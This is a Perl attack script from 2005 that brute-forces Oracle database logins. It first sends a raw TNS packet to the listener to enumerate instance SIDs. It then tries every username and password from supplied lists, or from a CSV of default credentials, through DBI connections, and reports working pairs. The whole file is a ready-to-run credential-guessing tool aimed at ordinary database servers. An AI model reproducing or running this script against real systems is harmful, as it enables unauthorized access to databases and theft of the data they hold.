#!/usr/bin/perl
# Fri Feb  4 18:41:54 CET 2005 <[email protected]>
# Brute force for Oracle databases.
# !dSR - www.digitalsec.net
 
use DBI;
use IO::Socket;
use strict;
use Getopt::Long;
Getopt::Long::config qw(no_ignore_case);
 
$|=1;
 
my $total = 0;
my ($host,$user,$passwd,$debug,$tout,$list,$ufile,$pfile);
my (@SIDS,@sidz,%seen);
my $stime = time();
 
my $opts = GetOptions( 'host:s' => \$host, 'user:s' => \$user, 
                       'passwd:s' => \$passwd, 'debug:i' => \$debug, 
                       'tout:i' => \$tout, 'list:s' => \$list,
   'Ufile:s' => \$ufile, 'Pfile:s' => \$pfile);
 
my ($ip,$port) = split(/:/,$host);
 
# Default options
$port = "1521" if ! $port;
$tout = "10" if ! $tout;
 
# Help if bad argument (TODO: change this)
&help unless $opts;
if (!$host) { &help }
if ((!$user && !$ufile) && !$list) { &help }
if ((!$passwd && !$pfile) && (!$list)) { &help }
if ($ufile && $user)  { &help }
if ($pfile && $passwd) { &help }
if (($ufile || $user) && $list ) { &help }
if (($pfile || $passwd) && $list ) { &help }
 
 
# Packet to get SIDs
my (@packet) = (
    0x00, 0x5b, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
    0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
    0x00, 0x21, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x28, 0x43, 0x4F, 0x4E, 0x4E, 0x45,
    0x43, 0x54, 0x5F, 0x44, 0x41, 0x54, 0x41, 0x3D,
    0x28, 0x43, 0x4F, 0x4D, 0x4D, 0x41, 0x4E, 0x44,
    0x3D, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
    0x73, 0x29, 0x29
    );
 
print "!dSR - Oracle bruteforce by <dab\@digitalsec.net>\n";
print "Trying to connect: $ip:$port ($tout secs)\n";
 
my ($sendbuf) = pack("C*", @packet);
my ($socket) = IO::Socket::INET->new( 
PeerAddr => $ip,
PeerPort => $port, 
Proto => 'tcp', 
Type => SOCK_STREAM, 
Timeout => $tout) || die "Can't connect to: $ip:$port - $!\n";
$socket->autoflush(1);
 
 print $socket "$sendbuf";
 while(<$socket>){ 
print "$_\n" if $debug;
push(@sidz,"$1") while /INSTANCE_NAME=(.*?)\)/g;
 };
 close($socket);
 
#get uniq SIDs
@SIDS = grep { ! $seen{$_} ++ } @sidz;
 
print "Working...\n";
foreach my $sid (@SIDS) {
  print "SID: $sid\n" if $debug;
  if ($sid eq "PLSExtProc") { print "Skipping $sid\n" if $debug;  next; }
 
  # brbrbrb!
  if ($ufile) {
   open U, "$ufile" or die "Can't open user file $ufile : $!";
   while (<U>) {
    chomp($_);
    $user = $_;
    if ($pfile) 
   {
   open P, "$pfile" or die "Can't open passwd file: $pfile : $!";
   while (<P>) 
  { 
chomp($_);
$passwd = $_;
my $ec = &orabf($ip,$sid,$port,$user,$passwd);
if ($ec == 0) { 
print "WOOP: $sid\@$user/$passwd - $ip:$port\n";
    $total++;
} else {
print "NO DONUT: $user/$passwd - $ip:$port\n" if $debug;
}
  }
    close (P);
    } else 
{
        my $ec = &orabf($ip,$sid,$port,$user,$passwd);
              if ($ec == 0) { 
                  print "WOOP: $sid\@$user/$passwd - $ip:$port\n";
                  $total++;
              } else {
                  print "NO DONUT: $user/$passwd - $ip:$port\n" if $debug;
              }
 
}
 
    }
     close (U);
   } else {
    if ($pfile) 
   {
   open P, "$pfile" or die "Can't open passwd file: $pfile : $!";
   while (<P>) 
  { 
chomp($_);
$passwd = $_;
my $ec = &orabf($ip,$sid,$port,$user,$passwd);
                    if ($ec == 0) { 
                        print "WOOP: $sid\@$user/$passwd - $ip:$port\n";
                        $total++;
                    } else {
                        print "NO DONUT: $user/$passwd - $ip:$port\n" if $debug;
                    }
 
  }
    close (P);
    } else 
{
        my $ec = &orabf($ip,$sid,$port,$user,$passwd);
              if ($ec == 0) { 
                  print "WOOP: $sid\@$user/$passwd - $ip:$port\n";
                  $total++;
              } else {
                  print "NO DONUT: $user/$passwd - $ip:$port\n" if $debug;
              }
 
}
 
  }
 
 
  if ($list) {
   open CSV, "$list" or die "Can't open csv file $list : $!";
   while (<CSV>) {
     my($a,$b,$user,$passwd)=split /,/,$_;
     my $ec = &orabf($ip,$sid,$port,$user,$passwd);
     if ($ec == 0) { 
        print "WOOP: $sid\@$user/$passwd - $ip:$port\n";
        $total++;
     } else {
        print "NO DONUT: $user/$passwd - $ip:$port\n" if $debug;
     }
 
   }  
   close (CSV);  
  }
 
}
 
 
# stats
my $ftime = time();
my $time = $ftime - $stime;
print "Finished: ($total) users found. ($time secs)\n";
 
# EOF
 
# Returns 0 if is valid passwd and 1 if isn't
sub orabf {
  my $ec = 0;
  my ($ip,$sid,$port,$user,$passwd)=@_;
  my $dbh = DBI->connect("dbi:Oracle:host=$ip;sid=$sid;port=$port", "$user", "$passwd", { RaiseError => 0, PrintError => 0}) or $ec = "1";
  return $ec;
}
 
# help, heh
sub help {
  print "!dSR - Oracle bruteforce by <dab\@digitalsec.net>\n";
  print "usage: $0 -h <host[:port]> <[-u <user> | -U <file>] [-p <passwd> | -P <file>] [-l <file>]> [-t <n>] [-d <1|0>]\n";
  print "options:\n";
  print "  -h, --host <host[:port]>\thost and optional port (default: 1521)\n";
  print "  -u, --user <user>\t\tusername\n";
  print "  -U, --Ufile <file>\t\tfile with users list\n";
  print "  -p, --passwd <passwd>\t\tpassword\n";
  print "  -P, --Pfile <file>\t\tfile with passwords list\n";
  print "  -l, --list <file>\t\tCSV* file with user/passwd list\n";
  print "  -t, --tout <n>\t\tconnection timeout (default: 10)\n";
  print "  -d, --debug <1|0>\t\tenable debug (default: 0)\n";
  print "(*)last CSV file at:www.petefinnigan.com/default/oracle_default_passwords.csv\n";
  exit 0
}